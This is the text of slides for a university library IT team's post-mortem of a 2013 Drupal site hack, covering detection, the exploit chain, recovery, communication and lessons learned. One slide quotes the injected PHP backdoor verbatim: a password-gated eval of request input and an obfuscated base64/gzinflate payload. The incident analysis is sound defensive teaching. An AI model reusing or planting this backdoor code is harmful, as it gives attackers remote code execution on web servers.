1. Anatomy of a Drupal Hack
Graham Stewart
Network and Storage Services Manager
Bilal Khalid
Senior Application Developer
University of Toronto Libraries

2. ITS at University of Toronto Libraries
=> wide range of services and
resources in support of the
Library’s role in supporting the
research, teaching and learning
mission of the university and its
community.
=> develop and maintain digital
collections and web-based resources
=> upward of 100 web sites, > 200
servers, ~1 PB storage, 56M visits
to sites in FY 2012
Photo: Gordon Belray

3. Photo: Gordon Belray

4. Photo: Gordon Belray

5. Photo: Gordon Belray

6. Not just hardware ...
Collaborative environment between:
- programmers / developers / designers
- librarians
- sysadmins / operations
Technology environment:
- open source tools
- Linux (Ubuntu, Redhat), KVM

7. … and we’re hiring !

8. Drupal @UTL

16. Application
and caching
Database
Load
balancing
Storage or
rsync
IP
HAProxy /
Keepalived
HAProxy /
Keepalived
IP
Memcached/
Keepalived
Memcached/
Keepalived
IPMySQL MySQL
User
Varnish
APC
Apach
e &
PHP
Varnish
APC
Apach
e &
PHP
Varnish
APC
Apach
e &
PHP
Varnish
APC
Apach
e &
PHP

17. February 14, 2013

18. 12:10
“Armorial is down!”

19. 12:18
“Update: Armorial down
for 1.5 hours, server
side issue? maybe
caching?”

22. Symptom or
root problem?
Chef
?
MySQL
error?
Restart Apache?
Restart server?
Recent OS
updates?
PHP versions?
Drupal
Customizations?
Anything
updated in
Drupal?
Hacked
!?#%$&!

23. Detection
- apache log analysis
- looked for odd traffic patterns
- in particular, isolated all wp-conf requests
- “hack” attempt started a couple of weeks before
- successful injection occurred the day before

24. Exploit...
FCKEditor Bug - allows XSS attacks
Sources:
https://drupal.org/node/1482528
http://webcache.googleusercontent.com/search?q=cache:http://exploitsdownload
.com/exploit/na/drupal-fckeditorckeditor-php-execution

25. … + PHP Execution...
PHP Filter Module
- core module that allows ‘client’ PHP execution
- disabled by default

26. … + Permission issues...
Incorrect rwx permissions for sites/default/files
- allowed user uploaded files to be executable by www-
data
- www-data also had write permissions to /var/www!

27. … = Code Injection
Snippet found inserted at the top of random PHP files
throughout the site:
if(isset($_REQUEST['ch']) &&
(md5($_REQUEST['ch']) == 'edd1d65d726121336405c4d2554df925') &&
isset($_REQUEST['php_code'])) {
eval($_REQUEST['php_code']); exit();
}
eval(gzinflate(base64_decode('y0zTyCwuTi3RUIkPcg0MdQ0OiVZPzlCP1VRQU1
PQyE0xxZSwtVVQT01JMUwxM00xNzIzNDI0NjYzMTBNNkkxMjU1SUmzNDJVB+
vHMLkgoyA+OT8lFWiMpkK1QmpZYg4OaWuF1IrMEg0gXQsA')));
Reversing gzinflate:

28. Snooping Utility

29. Risk Exposure
- hijack/deface site
- ransomware => blackmail
- host their own content
- execute phishing attacks
- gain access to other sites on server (if any)
- exploit OS vulnerabilities

30. Risk Exposure
- use Drupal’s settings.php to gain access to the database/salt
- harvest public/private site content
- access personal user information (including passwords!!)
- access other dbs/sites if they use the same credentials

31. The Recovery - Restoration
- restored site from a couple of days prior
- all servers are backed up nightly (incl. files and
db)
- at most 48 hours of data loss
- correct file-system permissions
- disabled FCKEditor, PHP Filter modules
- reset Drupal admin password
- changed all site users’ passwords

32. The Recovery - Communication
- contacted all potentially affected site members
- clear, honest communication
- possibility of personal information being leaked
- possibility passwords might have been compromised
- do users use same passwords for other
services?

33. Lessons Learned - Drupal
- first real Drupal problem
- follow Drupal security guidelines!
- https://drupal.org/security/secure-configuration
- vet the required core, contrib and custom modules for project
- stay on top of the updates
- test patches and updates and implement rapidly
- use https for all secure pages (whenever possible)
- install security modules
- Security Review, Security Kit, Login Security, ...
- if developing, use Drupal’s built-in checking functions

34. Lessons Learned - Operational
- review site security policies
- enforcement: periodic security sweeps
- tight control on production environments
- protect the core code with version control
- use https whenever authentication is involved
- mod_security to block attacks
- establish security analysis practices
- metrics
- traffic analysis
- log triggers and notifications

35. Embrace Failure
- Failure rarely has a single cause:
- systems are very complex, many interdependencies
- answers are not necessarily obvious
- weakness can be latent, triggered by other flaws
- red herrings
- swiss cheese

36. Source: John Allspaw: Advanced PostMortem Fu and Human Error 101
http://www.slideshare.net/jallspaw/advanced-postmortem-fu-and-human-error-101-
velocity-2011

37. Lessons Learned - Cultural
- Everyone must have the organization’s end goals in mind
- Team of experts or team of poly-skilled polyglots?
- Emergency roles may differ from normal roles
- Emergency communication channels must be defined
- Failure rehearsals: deliberately break things:
- The culture must be free of blame

38. Further Information
https://drupal.org/security/secure-configuration
https://drupal.org/writing-secure-code
http://www.cameronandwilding.com/blog/pablo/10-most-critical-
drupal-security-risks
http://www.slideshare.net/jallspaw/advanced-postmortem-fu-and-
human-error-101-velocity-2011
http://www.kitchensoap.com/
http://arstechnica.com/information-technology/2012/07/netflix-
attacks-own-network-with-chaos-monkey-and-now-you-can-too/

39. Questions?
Thank You